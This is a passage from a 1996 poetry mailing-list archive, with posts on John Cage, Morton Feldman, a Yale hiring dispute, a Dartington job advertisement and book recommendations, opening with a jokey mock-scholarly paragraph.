Hysterical dialectics is a mode of reasoning based on the principle "utque ante de nomina post factotum" first performed in a diagnostic setting by Averroes in his manual de logica diplodocus et diplomatica (hereafter referred to as Dip & dippy) in 1143 (after a big lunch). The systematics was appropriated by pre-psychologists in the late 18th century to explain the discovery of "galvanized globular life-entities" first discovered by Starbird Leewenhoek using a primitive microscope made of thin slices of Dutch ice-skates under straw matting and windmill batting and attributed to "saliences" on the cranium mapped by the phrenologist Pietter Pepper in 1643 (before breakfast!). The rest is history... - Hank Lear

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75. cris cheek
Post in Performance Writing / Dartington, UK
Fri 7 Jun 1996

Hi all, I'm cross posting this job ad to the list.

Particularly appropriate for anyone working with language / text from a Live Art perspective.

---------- Dartington College of Arts is an institution of higher education specialising in contemporary performance

arts practices and their relation to changing social and cultural contexts. The College combines undergraduate teaching with research. Taught Masters work is planned. Subject areas are both i) distinct and clearly articulated, leading to designated degree awards and ii) participants in an integrated programme designed to promote inter- and cross-disciplinary practice and enquiry.

September 1994 saw the introduction of a new degree. Planned as an extension to the College's work in the performance arts, the degree in Performance Writing is an approach to writing for performance which is open to a range of possibilities for the way that performance and writing can relate to each other. This approach explores underlying principles, techniques and understandings so that writers and text-practitioners can learn to apply their skills and creativity to a constantly expanding repertoire of performance media. Broad categories of practice include: body-related text performance, word-image work, concrete and performed poetry, radio and audiotape media, site-related writing.

lecturer in performance writing
three-year fixed-term appointment.

A new post is required to continue the development of this new and exciting subject area. We are particularly interested in those who develop writing for and through live performance and whose work explores, through theory and practice, the impact and implications of live presence on the practice of writing.

Successful applicants will be expected to contribute to teaching, research, subject development and programme support.

closing date 19 June 1996

Further information from: Kathy Taylor dartington College of Arts. Totnes, Devon TQ9 6EJ
Tel. [redacted]
Fax [redacted]

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76. Gwyn McVay
Re: hysterical dialiects
Fri 7 Jun 1996

I think the "sexist etymology" referred to is the word's origin in Gk. "hustera," womb, and the prevailing theories, at the time, that overemotion in women was caused by having their womb unhitch itself and float around loose inside their body. Seems like that would make one awfully itchy indeed. But per your subject line above, are we talking about "hysterical dialectics" or "hysterical dialects," like the strange languages spoken by wimmin poets and cartoon characters? And where do I get the female slave who is supposed to sit between my

thighs and burn fragrant incense to entice my womb back into its usual arrangement? Isn't "meretricious" derived from Lat. "meretrix," harlot? Do you sometimes get that not-so-fresh feeling?

Wondering in Washington

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77. henry gould
Re: hysterical dialiects
Fri 7 Jun 1996

On Fri, 7 Jun 1996 09:21:36 -0400 Gwyn McVay said:
>languages spoken by wimmin poets and cartoon characters? And where do I
>get the female slave who is supposed to sit between my thighs and burn
>fragrant incense to entice my womb back into its usual arrangement? Isn't
>"meretricious" derived from Lat. "meretrix," harlot? Do you sometimes get
>that not-so-fresh feeling?

Pregnant thoughts. If I wasn't getting it before I'm getting it now. As Cynthia wrote in her unwritten poems (c.f. Elena Shvarts - fake reference here) -

Rome as I was burning fiddled my thoughts of you
and where sweetness was came sour tastelessness
but lemon is a cure for scurvy knavery
so take these lemons, squire, for your saucy filet
before she rots and before my anger cools
and I think of a new word to carve in your trunk

- HNVY GILLED

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78. cris cheek
Re: more rattling Cage
Fri 7 Jun 1996

Hi all,

so leading questions for the asking:

is the world (i worry about 'the' here) getting more 'noisy' ?

are our worlds becoming more 'musical' ?

is each listener a composer ?

what are 'new' roles for 'composers' ?

then -

given proliferation of language constructs in our worlds, what are roles for 'writers' / 'readers' ?

love and love
cris

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79. Jordan Davis
the iliad of hypnotism
Fri 7 Jun 1996

Uh, hey...

Anybody read any good poems lately?

Jordan

↑ Index

80. David Carl
morty
Fri 7 Jun 1996

>I agree with you Ira, that there are some missing feschrifts for composers
>other than Cage. I'd most like to see a good Feldman book, & have toyed with
>the thought myself.

There is a book on/by Feldman I'm aware of, but can't remember the title now. Mostly anecdotes and lectures of his (german/english edition, i seem to remember a complicated story behind the reason for this). Available through Larry Polanski's press (turtle island?) (for more information: http://onyx.dartmouth.edu/~larry/polansky.html)

[redacted]

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81. Aldon L. Nielsen
Re: Them That's Got Shall Get
Fri 7 Jun 1996

Did anybody else fall for the phony ad Yale placed in the _Chronicle_ last Spring announcing a search for a senior position in twentieth-century poetry? I didn't expect anything to come of it, having been told over the years that Yale's attitude is that they shouldn't hire anyone so lowly as to have to apply for a position, but what did surprise me was how many of my colleagues around the country predicted accurately who would be hired.

And here comes official notice, dated May 31, that having searched assiduously across the length and breadth of the land, Yale has hired Langon Hammer. Professor Hammer was no doubt the most highly qualified candidate for this senior position, having published A book (_Hart Crane and Allen Tate_, 1993; now there's a new topic for you).

It must have been quite a search. The MLA directory for this year listed Professor Hammer as an Associate Professor at, hmmmm, Yale. Before that, he was listed as an Assistant Professor at, you guessed it, Yale. Thank god that Yale has resisted the erosion of merit brought upon us by such foolishly egalitarian notions as affirmative action and has insisted upon rigorously seeking out the most obviously qualified candidate for such an elite position.

and yes, that is the aroma of sour grapes you sense rising from this post --

if it weren't for _resentiment_ I wouldn't have no sentiment at all!
(apologies to Albert King)
---

on a more uplifting note,,, Just back from the American Literature Association meeting in San Diego, where the panels on H.D., Marianne Moore, Williams, Pound and Kaufman all went very well indeed -- several folk will reappear at the Orono conference shortly,,,

There is, by the way, now a Marianne Moore Society, for those of you who are interested in such things, along with the H.D. Williams, and Pound societies, which will sponsor panels at each year's conference. The African-American Literature and Culture Society continues to sponsor poetry panels at every year's conference, and is planning a symposium in New Orleans for '98. This year's Asian-American Lit. panel was really good, but we need to see more poetry discussion in that forum -- (especially with Walter's anthology just out) --

better than usual poetry reading by Quincy Troupe at this year's conference --

VERY strange first session on "Criticism against the Grain" by some of our more engrained colleagues -- (did you know that Lacan was a commie fellow traveler, for example??? that's what I'm told by this expert -- haven't heard that kind of overt McCarthyism for many a year -- according to this guy, all theory from France from roughly 48 on is either commie or what J. Edgar Hoover used to call comsymp agitprop -- I know this will come as cold comfort to those on the left who reject poststructuralism as a reactionary movement)

a good time was had by all, and I, for one, learned quite a bit --

here's one connection for you Kaufman readers -- I had been looking at all the mentions of Crispus Attucks in Kaufman's poetry, and now learn, from Mona Lisa Saloy, that Charlie Parker, another in Kaufman's pantheon, attended

Crispus Attucks School -- remember the line in "Ancient Rain" about the immigrants who refuse to attend school with Crispus Attucks --

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82. Jeffrey Stadelman

Re: dodecaphony as generative grammar

Fri 7 Jun 1996

Dear Tom,

I think you must be referring to Fred Lerdahl and Ray Jackendoff, _A Generative Theory of Tonal Music_ (Cambridge, Mass.: MIT Press, 1983). 368 pp. (2nd Edition, 1996)

Actually, Lerdahl's writings have recently been used as a club to attack musics with experimental ambitions, for instance those of 'constructivist' cast (Carter, Babbitt say). And, by implication surely (though I've not yet seen published critiques), they indict experimental work in the Cagean sense.

A good introduction to how Lerdahl views the aesthetically delimiting effects of "the way our minds operate" can be found in an article whose title says it all: "Cognitive Constraints on Compositional Systems," _Contemporary Music Review_, Vol. 6, edited by Paul Moravec and Robert Beaser, Harwood Academic Publishers (1992).

Jeff Stadelman
SUNY at Buffalo

On Fri, 7 Jun 1996, Thomas M. Orange wrote:

> *Listfolks,*
>
> *Has anyone heard of a book by Frederick Udahl (sp?) called something like "The Twelve-tone System as Generative Grammar" or "Towards a Generative Grammar from Twelve-Tone Music"?*
>
> *Thanks,*
> *Tom Orange*
> [redacted]

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83. Herb Levy
Re: dodecaphony as generative grammar
Fri 7 Jun 1996

Tom Orange asks:
>
>Has anyone heard of a book by Frederick Udahl (sp?) called something like
>"The Twelve-tone System as Generative Grammar" or "Towards a Generative
>Grammar from Twelve-Tone Music"?
>

I know of a book by Fred Lerdahl & Ray Jackendoff called A Generative Theory of Tonal Music.

I've never read so I don't know if it gets into twelve tone stuff at all.

I'm on my way to a dream date with the lovely & talented Lake Quinault, if the discussion is still cagey when I get back, I guess I'll have plenty to read.

&, to answer Jordan's question: yes.

Bests,

H

Herb Levy
[redacted]

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84. Herb Levy
Re: more rattling Cage
Fri 7 Jun 1996

Ira writes:

I didn't
>think, myself, that Cage suitably engaged with Feldman's
>upset at, for example, pop music on transistor radios
>spoiling the quiet, in this case of the beach. As the
>world gets more crassly noisy, and my ears hurt, and
>I can't find a quiet house to live in, aren't these
>issues?

You should look into the work of R. Murray Shaffer, a Canadian who began a project called the World Soundscape. I don't know what kind of materials are easily available in England. I remember a graph in one of his books labeled "the instruments of the orchestra are changing", that plotted the relative

decline of sales of pianos against the growth of sales of lawn mowers, but this is serious work none the less.

You could also check the Web site for World Forum for Acoustic Ecology:

<http://interact.uoregon.edu/MediaLit/WFAEHomePage>

where ther are lots of links to relevant sites.

Really gotta run now. See everyone at the lake.

Herb

Herb Levy
[redacted]

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85. c.g. guertin
Re: more rattling Cage
Fri 7 Jun 1996

In Sontag's article "The Aesthetics of Silence," she quotes Cage twice. Once as saying, "There is no such thing as silence. Something is always happening that makes a sound." And: "Every now and then it is possible to have absolutely nothing; the possibility of nothing"

Infuriatingly, Sontag gives no footnotes. Does anyone know what the source of these quotes might be? Could anyone tell me where I might find the best discussion of Cage's aesthetics of silence and/or of 4'33'' (either by him or by others)?

Thanks for your help.
Carolyn

Carolyn Guertin
University of Western Ontario
[redacted]

"My empire is of the imagination."
-- H. Rider Haggard, She

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86. Michael Boughn
Re: the iliad of hypnotism
Fri 7 Jun 1996

>
> Uh, hey...

>
> Anybody read any good poems lately?
>
> Jordan
>
Yeah, Lise Downe's _A Velvet Increase of Curiosity_ (ECW Press, Toronto, 1993, $12.00 CAN). A stunning book.

Mike

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87. David Baratier
reading Monday 6/10
Fri 7 Jun 1996

David Baratier
reads
from
compartments

in
it's entirety
in Philadelphia,
7:00pm

at Cafe Santa Maria,
517 S. 5th Street
(between South
and Lombard)

for the last time before
moving to Ohio

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88. Ira Lightman
more rattling Cage
Fri 7 Jun 1996

Rod, thanks for those recommendations of late work, they intrigue. Oh, to be in America and follow them up immediately - purchasing disks, anyway. I like the Feldman idea - I'm really intrigued by his ideas and his emphases on slow build and slow fall and quiet - and want to hear more of the music. There was a Feldman concert in London last year which, of course,

I only heard about a day after it took place!

I would like to hear these pieces exploring the not yet done on those instruments, but I still maintain my criticism, which I stress was not really about Cage but about the books by experimental writers and critics that start and stop with Cage - and which, I suspect, would not be much interested in the late pieces you suggest musically; but only theoretically, as "destabilising" nasty western classical music etc. Is that just completely mistaken of me? Do you not sense this habit in experimental writer Cagers from time to time? Not that *Cage* marginalises the others, esp. not Feldman, given the Radio City interviews etc, but that these books do?

I'm referring to the Radio City interviews that appeared in the Exact Change annual last year. I didn't think, myself, that Cage suitably engaged with Feldman's upset at, for example, pop music on transistor radios spoiling the quiet, in this case of the beach. As the world gets more crassly noisy, and my ears hurt, and I can't find a quiet house to live in, aren't these issues? I sometimes think of Cage's persona as like Paul McCartney's - chipper and happy, but slightly suppressing angered and anguished jeremiads against the down side of the changes (eg in freedom) that they were rightly optimistic about.

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89. David Baratier

Re: the illiad of hypnoism

Fri 7 Jun 1996

Jordan,

I don't read poems, I write them, quite often on napkins, and I have found that editors love crayon. One editor in particular sent me back praises on my choice of periwinkle for a poem and regrettably announced they were unable to reproduce that hue for their issue. As an editor myself, I open the small envelopes first, ones which could not possibly contain poems, and then ones addressed in crayon, followed by letters from prisions, ones with academic seals, ones with cartoon stamps, in this order and also opened in order of smallest to largest envelope size. As an added insider tip for getting into our journal, including blank university stationary directly affects the decision

making process, as we love to send back rejection notices on these kinds of paper to the unsuspecting rejectee, so far we have letterhead from 13 universities. It's just wacky the responses we get when we reject somebody from Ypsilani with stationary from the same university.

David Baratier

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90. Gwyn McVay
Coolidge and Mark?
Fri 7 Jun 1996

Is this a typo? The Zen Mountain Monastery in Mt. Tremper, NY, lists among its previous faculty Ginsberg, Waldman, Creeley, Natalie Goldberg, and one "Clark Strand"--is that a real guy or a case of lang-po meets trad-po in the same body?

Gwyn

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91. Rod Smith
Re: morty
Fri 7 Jun 1996

David Carl-- I've not been able to find the Feldman book you refer to, & was told it was out of print. The complicated story was that the original Feldman material in English, there was only one copy, was lost or ediotically disgarded, after it had been translated into German. So, the English is a translation from the German! Cage had a similar thing happen with _For the Birds_, which was interviews, the tapes were "lost" & the English edition is translated from French even though the original interviews were conducted in English.

Rod

D. Carl wrote:

There is a book on/by Feldman I'm aware of, but can't remember the title now. Mostly anecdotes and lectures of his (german/english edition, i seem to remember a complicated story behind the reason for this). Available through Larry Polanski's press (turtle island?) (for more information: http://onyx.dartmouth.edu/~larry/polansky.html)

↑ Index

92. Jeffrey Stadelman
Re: morty
Fri 7 Jun 1996

On Fri, 7 Jun 1996, David Carl wrote:

> *There is a book on/by Feldman I'm aware of, but can't remember the title now. Mostly anecdotes and lectures of his (german/english edition, i seem to remember a complicated story behind the reason for this). Available through Larry Polanski's press (turtle island?)*
> *(for more information: http://onyx.dartmouth.edu/~larry/polansky.html)*

Morton Feldman, _Essays_, edited by Walter Zimmermann (Kerpen, Germany: Beginner Press, 1985). This book is, for the most part, bilingual (German/English) though there are a few items which appear only in German. Part of the complicated story mentioned by David Carl may involve the fact that some of the essays had to be translated into German from languages other than English (Italian at least, I seem to recall), with the English originals lost or destroyed. The editorial work on the English-language material is generally poor (misspellings galore), but the book is refreshingly blunt, entertaining and instructive--highly recommended.

For German readers there's _Morton Feldman_, _musik-konzepte_ Vols. 48/49, edited by Heinz-Klaus Metzger and Rainer Riehn (Munich: edition text + kritik, 1984?).

And Thomas DeLio has a book on Feldman out, or coming out, published by Excelsior Press I believe.

Jeff Stadelman
SUNY at Buffalo

↑ Index

93. Robert J Wilson
Yale Sublimity Strikes Again
Fri 7 Jun 1996

'Professor Langon Hammer has been appointed to replace Harold Bloom as Yale Professor of Sublimity,' or was it just the absent presence of Mark Strand as a Merwinesque canon-maker in the vacant 'landscape'-- now you see that trope and now you don't see the natives or nine tenths of social reality school of US poetics? Just wondering about that Yale School of Criticism as a disappearing act of the agrarian poetics into, now, nothing even to contest or offer to the suburbs and provinces of this grand old polity. What else has the fellow written to earn such banishment? Rob Wilson

On Fri, 7 Jun 1996, Aldon L. Nielsen wrote:

Did anybody else fall for the phony ad Yale placed in the _Chronicle_ last Spring announcing a search for a senior position in twentieth-century poetry? I didn't expect anything to come of it, having been told over the years that Yale's attitude is that they shouldn't hire anyone so lowly as to have to apply for a position, but what did surprise me was how many of my colleagues around the country predicted accurately who would be hired.

And here comes official notice, dated May 31, that having searched assiduously across the length and breadth of the land, Yale has hired Langon Hammer. Professor Hammer was no doubt the most highly qualified candidate for this senior position, having published A book (_Hart Crane and Allen Tate_, 1993; now there's a new topic for you).

It must have been quite a search. The MLA directory for this year listed Professor Hammer as an Associate Professor at, hmmmm, Yale. Before that, he was listed as an Assistant Professor at, you guessed it, Yale. Thank god that Yale has resisted the erosion of merit brought upon us by such foolishly egalitarian notions as affirmative action and has insisted upon rigorously seeking out the most obviously qualified candidate for such an elite position.

and yes, that is the aroma of sour grapes you sense rising from this post --

if it weren't for _resentiment_ I wouldn't have no sentiment at all!
(apologies to Albert King)
----

on a more uplifting note,,, Just back from the American Literature Association meeting in San Diego, where the panels on H.D., Marianne Moore, Williams, Pound and Kaufman all went very well indeed -- several folk will reappear at the Orono conference shortly,,,

There is, by the way, now a Marianne Moore Society, for those of you who are interested in such things, along with the H.D. Williams, and Pound societies, which will sponsor panels at each year's conference. The African-American Literature and Culture Society continues to sponsor poetry panels at every year's conference, and is planning a symposium in New Orleans for '98. This year's Asian-American Lit. panel was really good, but we need to see more poetry discussion in that forum -- (especially with Walter's anthology just out) --

better than usual poetry reading by Quincy Troupe at this year's conference --

VERY strange first session on "Criticism against the Grain" by some of our more engrained colleagues -- (did you know that Lacan was a commie fellow traveler, for example??? that's what I'm told by this expert --

> *haven't heard that kind of overt McCarthyism for many a year -- according to this guy, all theory from France from roughly 48 on is either commie or what J. Edgar Hoover used to call comsymp agitprop -- I know this will come as cold comfort to those on the left who reject poststructuralism as a reactionary movement)*
>
> *a good time was had by all, and I, for one, learned quite a bit --*
>
> *here's one connection for you Kaufman readers -- I had been looking at all the mentions of Crispus Attucks in Kaufman's poetry, and now learn, from Mona Lisa Saloy, that Charlie Parker, another in Kaufman's pantheon, attended Crispus Attucks School -- remember the line in "Ancient Rain" about the immigrants who refuse to attend school with Crispus Attucks --*

↑ Index

94. **Joe Amato**

Re: Them That's Got Shall Get

Fri 7 Jun 1996

& to follow yr albert king sweet & sour grapes one grape further, aldon: if it weren't for insider-games like the one you describe at yale, there wouldn't be no game at all... the "job market" is largely a stacked deck, even with the best of hiring intentions, even when the person hired is from another campus... everybody is qualified on paper, and there are simply too many everybodies... most hiring (by which i mean to include the winnowing process) ends up being accomplished out of regard for a potentially dubious, in some ways arbitrary paper-trail---which latter is measured against criteria developed by---you guessed it!---places like yale...

i've been there, and i can attest to the difficulties in trying to get 'around' the superficialities of vitae information...

not that i'm against, say, a solid publishing record (though as to the threat of perishing over same---)... but i doubt, for example, that a book of poetry would "count" in yale's deliberations over who gets to go to ole new haven to profess the wonders of 20th. century poetry...

i mean, just b/c one writes poetry doesn't mean one knows a damn thing about the history of same, right?...

i'm not joking...

on the other hand, a poet *could* very well know her history... moreover, when it comes to the poets i know, there's no question that they know their history...

ergo---

then we have the little matter of what constitutes the "right" sort of scholarship... whether yale'd know it when they saw it... etc...

the academic situation has really gone zonkers in so many ways... it's had its past moments of turbulence, but i'm not sure it's ever been quite so vexed...

(((btw, i like it that you posted yr gripe-grapes here...

best,

joe

↑ Index

95. Susan Schultz
Re: Them That's Got Shall Get
Fri 7 Jun 1996

Langdon Hammer's book on modernism (by way of Crane and Tate) is excellent; in fact, it covers a lot of the same ground as Jed Rasula's brilliant _American Poetry Wax Museum_, if in a different manner. I'm sorry other worthies got overlooked, but I'd say he was a very strong candidate for that Yale position. He was a friend of mine in college, so I hate to see him used purely for his symbolic value.

Susan S.

↑ Index

96. George Bowering
Re: the iliad of hypnotism
Fri 7 Jun 1996

> *Uh, hey...*
>
> *Anybody read any good poems lately?*
>
> *Jordan*

I have been reading the poems of the new Zealander Sam Hunt, and they are really bad.

.....
"I've enjoyed just about as much of this as I can stand."
--Bobbie Louise hawkins

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

97. Robert Drake
new poetry bookstore looking for wares (fwd)
Fri 7 Jun 1996

hope this may be of interest to some...

[begin forwarded message]:

Message #490 (492 is last):
Date: Fri Jun 7 17:30:49 1996
From: [redacted]
Subject: New Bookstore Seeking Stock

Hello Poets & Publishers,

This is an invitation to send me your catalogues/lists/ what have you's w/Bookstore rates so that I can start setting up. I want to specialize in small & micro press publications and true alternative. You can either e-mail, or snail mail..

cat's Impetuous Books & Stuff
233 1/2 S. Water St.
Kent, Ohio 44240

Thanks,
cat

[end forward]

please direct questions or replies to cheryl (aka cat), not me... lbd

↑ Index

98. Matthew Gary Kirschenbaum
Re: new poetry bookstore looking for wares (fwd)
Fri 7 Jun 1996

Imagine how relieved I was to read the note below after finding the following in my mail queue:

43 Jun 7 Robert Drake (54) new poetry bookstore looking for war

> *Hello Poets & Publishers,*
>
> *This is an invitation to send me your catalogues/lists/ what have you's w/Bookstore rates so that I can start setting up. I want to specialize in*

> *small & micro press publications and true alternative. You can either e-mail, or snail mail..*

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

↑ Index

99. Tristan D. Saldana
Sontag on Cage
Fri 7 Jun 1996

I am not aware of Sontag's "article" on Cage. Do you, Carolyn, or anyone else, know where I can find it? You're referring to the 'Susan' Sontag of _Against Interpretation_, right?

I would like to see what she has to say, and what she doesn't.

Tristan

↑ Index

100. Rod Smith
Re: Sontag on Cage
Fri 7 Jun 1996

She wrote the intro for something called _Dancers on a Plane_ which collected works by Cage, Johns, & Cunningham.

Rod

↑ Index

101. Schuchat
Re: Them That's Got Shall Get
Fri 7 Jun 1996

About this Yale professorship thing, I'm confused.

Do any of you think that you would be comfortable as members of that Department? I'm just recalling things Maria Damon posted about the difficulties she experiences in terms of her own Department's receptivity to her areas of interest. I'm pretty sure that Yale's English Department is more conservative than Minnesota. After all, Yale created a separate Literature program to contain (or rechannel) theory, and despite various anomolies such as an interest in Pound ahead of other parts of academe, it is a conservative, traditionalist department. Despite (or maybe it is exemplary) the Yale Younger poets, it has not been much

of a place for "writers" as faculty: now it's Hollander, before it was Penn Warren and John Hersey. Bloom was considered to be an oddball, eccentric genius type.

New Haven is okay to live in, but its just another suburb of New York. I suppose the full professorship pays well, and obviously is prestigious, and I guess it would implicitly carry academic power, but even so.

As a non-academic, I hope I am not being too obnoxious by pointing this out.

↑ Index

102. **Rod Smith**

Re: more rattling Cage

Fri 7 Jun 1996

Re Carolyn Guertin's post:

The first quote you mention: "There is no such thing as silence. Something is always happening that makes a sound." John said this on any number of occasions relative to his aesthetic, & specifically to his visit to the anechoic chamber at Harvard. It's oft repeated but anyway-- he entered this silent chamber & heard two noises, one high one low. He asked the engineer what they were, & the engineer said one is your heart beating & the other is your nervous system in operation-- thus the understanding that there is no silence or that silence "includes" sound. I have no idea where the second quote: "Every now and then it is possible to have absolutely nothing; the possibility of nothing" is from. Actually sounds more like Jasper Johns to me, though John was happy to contradict himself on occasion.

Single best intro to Cage I think is _Conversing with Cage_ ed. Kostelanetz (Limelight $16.95), simply because it includes Cage's views from a number of different times, sources. & of course I recommend Retallack's _MUSICAGE_ -- which incidentally goes into quite some depth on _Europera 5_, the piece Tim Page "reviewed." Re specific discussions of 4'33" -- there's an interesting Q&A on the tape that comes with _I-VI_, though I think it's impossible to seperate his "aesthetics of silence" from other concerns-- indeterminacy, chance operations, zen, etc. I don't recommend the biography titled _The Roaring Silence_. & of course there's Cage's _Silence_, particularly the "Lecture on Nothing." Daniel Charles has written very well on Cage, & Jackson MacLow's article on his writing is excellent.

Geeze, I'm like "Cage Guy" around here lately.

Rod

Carolyn G. wrote:
In Sontag's article "The Aesthetics of Silence," she quotes Cage twice.
Once as saying, "There is no such thing as silence. Something is always happening that makes a sound."
And:
"Every now and then it is possible to have absolutely nothing;
the possibility of nothing"

Infuriatingly, Sontag gives no footnotes. Does anyone know what the source of these quotes might be? Could anyone tell me where I might find the best discussion of Cage's aesthetics of silence and/or of 4'33'' (either by him or by others)?

Thanks for your help.
Carolyn

↑ Index

103. Daniel Salmon
Re: the iliad of hypnotism
Fri 7 Jun 1996

At 01:25 PM 7/06/96 -0700, you wrote:

> *I have been reading the poems of the new Zealander Sam Hunt, and they are really bad.*

In defence of poetry.

I am jubilant raconteur Sam Hunt has moved to new Zealand, perhaps that will leave more space for 'poets' in New Zealand anthologies.

Dan

↑ Index

104. Rod Smith
Re: the iliad of hypnotism
Fri 7 Jun 1996

wld somebody please post the address for this ECW outfit?

thanks,

Rod

↑ Index

105. c.g. guertin
Re: Sontag on Cage
Fri 7 Jun 1996

On Fri, 7 Jun 1996, Tristan D. Saldana wrote:
> I am not aware of Sontag's "article" on Cage. Do you, Carolyn, or anyone
> else, know where I can find it? You're referring to the 'Susan' Sontag of
> _Against Interpretation_, right?
>
> I would like to see what she has to say, and what she doesn't.
>
> Tristan
>
Sorry. Yes, Susan Sontag. I am referring to her article "The Aesthetics of Silence" in her early volume of essays _Styles of Radical Will_. She also refers to Cage in another essay in that volume, "'Thinking Against Oneself': Reflections on Cioran." She doesn't really comment on Cage so much as use his words to backup her argument that there can be no silence without sound...at the risk of oversimplifying.

Cheers.
Carolyn

Carolyn Guertin
University of Western Ontario
[redacted]

"My empire is of the imagination."
- H. Rider Haggard, She

↑ Index

106. Louis Cabri
Re: the iliad of hypnotism
Sat 8 Jun 1996

---

ecw press
2120 queen street east
toronto, ontario
canada m4e 1e2

sorry i don't have the fax phone or email

↑ Index

107. George Bowering
Re: the iliad of hypnotism
Sat 8 Jun 1996

> *wld somebody please post the address for this ECW outfit?*
>
> *thanks,*
>
> *Rod*

This ECW outfit?

The latest no. of the journal is 56.
The number of books is enormous.
The poetry in recent times is terrif. Unfortunately its poetry editor is moving to some place called California.

.....
"I've enjoyed just about as much of this as I can stand."
--Bobbie Louise hawkins

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

108. Aldon L. Nielsen
Re: dis n dat
Sat 8 Jun 1996

dissin -- it's not about symbolism (this time) -- nor is it a question of the quality of Professor Hammer's book (though I can think of three on the same topic that top it) -- not is it really a question even of Professor Hammer's qualifications (though again, I can think of several assistant profs. that Yale has refused to tenure over the years who have had considerably more impressive records, as paper as such records might be) --

No, the question is -- why is Yale calling this thing a "search"? why are they pretending that they want to receive applications? and the answer is that they have to create a paper trail of their own -- At my campus (and even San Jose State gets the legendary three hundred applications for a position these days) we would very likely have a lot of explaining to do to a board of judicial inquiry if we pulled such a stunt (even in the California of Pete Wilson!) --

_____
dats --

Gwyn and others -- here's the info. on the Marianne Moore Society --

memberships are $3.00 ("three" -- this is not a typo) -- and the address is
The International Marianne Moore Society
c/o Dr. Elizabeth Joyce
Dept. of English
Edinboro University of Pennsylvania
Edinboro, PA 16444

[redacted]

There is a home page in the works -- and a listserv run out of Yale (yes, they are very good for some things, like the LIBRARY!!!)

Subscribors to _Sulfur_, including the San Jose State Library, which I at long last persuaded to get the thing, have recently received word that _Sulfur_ was rejected for an NEA grant and is in big money trouble -- may have to shrink the mag -- etc. -- I know, and we all know, there are many even more deserving mags -- but if you care about Sulfur, think about sending a buck or subscribing, or something --

still raisin grapes in California,
aldon

↑ Index

109. J.V. Kinsella
Re: the iliad of hypnotism
Sat 8 Jun 1996

On Fri, 7 Jun 1996, Jordan Davis wrote:

> Uh, hey...
>
> Anybody read any good poems lately?
>
> Jordan
>
Try Rod Mengham's Unsung: New and Selected Poems [Folio(Salt), 1996, Applecross, Western Australia. $15]

↑ Index

110. Pierre Joris
Re: the iliad of hypnotism
Sat 8 Jun 1996

> >
> Try Rod Mengham's Unsung: New and Selected Poems [Folio(Salt), 1996,
> Applecross, Western Australia. $15]
>
Anyone know if the Mengham book is available here in the States? I've always liked the work & wld love to get ahold of the new one -- Pierre

↑ Index

111. Robert Drake
Re: the iliad of hypnotism
Sat 8 Jun 1996

ECW Press
2120 Queen St. East
Toronto Ontario M4E 1E2
Canada

lbd

↑ Index

112. Michael Boughn
Re: the iliad of hypnotism
Sat 8 Jun 1996

> *wld somebody please post the address for this ECW outfit?*
>
> *thanks,*
>
> *Rod*

Rod:

Their books are distrubuted in the States thru InBook, 140 Commerce St. PO Box 120261, East Haven CT 06512, [redacted], FAX [redacted]. I have the info on the Canadian distributor, too, if you want it.

ECW's phone number in Toronto is [redacted], FAX [redacted].

Mike

↑ Index

113. **Aldon L. Nielsen**
Re: signafump
Sat 8 Jun 1996

for those who have not yet spotted it --

on pg. 139 of Paul Muldoon's recent _The Annals of Chile_, George Oppen figures among the red lights around Yale! enjoy it --

↑ Index

114. **Rod Smith**
Address change for Andrew Levy
Sat 8 Jun 1996

Andrew Levy
75 Poplar St #2M
Brooklyn, NY 11201

↑ Index

115. **Tim wood**
Re: A science project: if anyone is interested
Sat 8 Jun 1996

from what i know this is as the dutch say a -roos. i received the same message a few weeks ago only to be followed by an appy olly ogy from its sender.

↑ Index

116. **Chris Stroffolino**
Re: signafump
Sat 8 Jun 1996

when you, aldon, say open as red light at yale, do you mean "STOP SIGN" and thus "COP"--did OPPEN REPRESS MULDOON (at least in MULDOON'S version)? or do you mean red light as in district as in "Roxanne" as in "Red Dress Tonight"? For red is the color that will make me blue.....

↑ Index

117. **George Bowering**
Re: Jay
Sat 8 Jun 1996

> *Are you aware of a poet called Jay McPherson? I just heard she lives in Toronto.Published a selected in 1981. She writes (or did int he 60's--i*

> *ahven't seen more recent work yet) a lot of mythological stuff, which interests me quite a bit.*

Jay Macpherson was a celebrated student of Northrop Frye, and several decades ago was hurriedly grouped up here in a kind of threesome with Eli Mandel and James Reaney as Frijian mytho-poets. Mandel decided later in life that he wanted to head more in the direction of poets like Kroetsch and Nichol. But Macpherson, who had early done some nice derivations of Blake songs of Inn. etc.,has not published a great deal over her long life as a poet. She is often cited by Atwood as an early influence on her work.

Born 1931, so she might be retiring, prof. of English at Victoria College, U. of Toronto.

First commercially published book, _The Boatman_ 1957.

.....
"I've enjoyed just about as much of this as I can stand."
--Bobbie Louise hawkins

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

118. Annie Finch
Re: M/E/A/N/I/N/G
Sat 8 Jun 1996

Der Mike, Are you aware of a poet called Jay McPherson? I just heard she lives in Toronto.Published a selected in 1981. She writes (or did int he 60's--i ahven't seen more recent work yet) a lot of mythological stuff, which interests me quite a bit. Just wonderred if you knew her.

The tough job market is really having its effect on the list, isn't it. It
's really too bad.
More later,
Annie

↑ Index

119. Charles Alexander
commerce?
Sat 8 Jun 1996

> *First commercially published book, _The Boatman_ 1957.*

George -- I'm curious about what you mean when you say this, i.e. "first commercially published book." Is a commercially published book any book which is for sale? Or is it any book from a press which actually lives via profits from book sales (which would actually discount more than just the so-called non-profit presses). Or is it a book published with the intent of making money, as opposed to the intent of simply distributing works of literature? Or what? No axe to grind here, just wondering what this phrase means to you, and others.

charles

↑ Index

120. Joseph Zitt
Re: Is John Cage conceptual art, music, what?
Sat 8 Jun 1996

On 6 Jun 96 at 15:12, Rod Smith wrote:

> *Also, is their anything out there in terms of a good new*
> *music publication like _Ear_ used to be. Something that would cover say*
> *Frissell, Le Baron, & unkowns? Also, to note, there's a new book on Nancarrow*
> *from Cambridge (overpriced hc, but looks very good).*

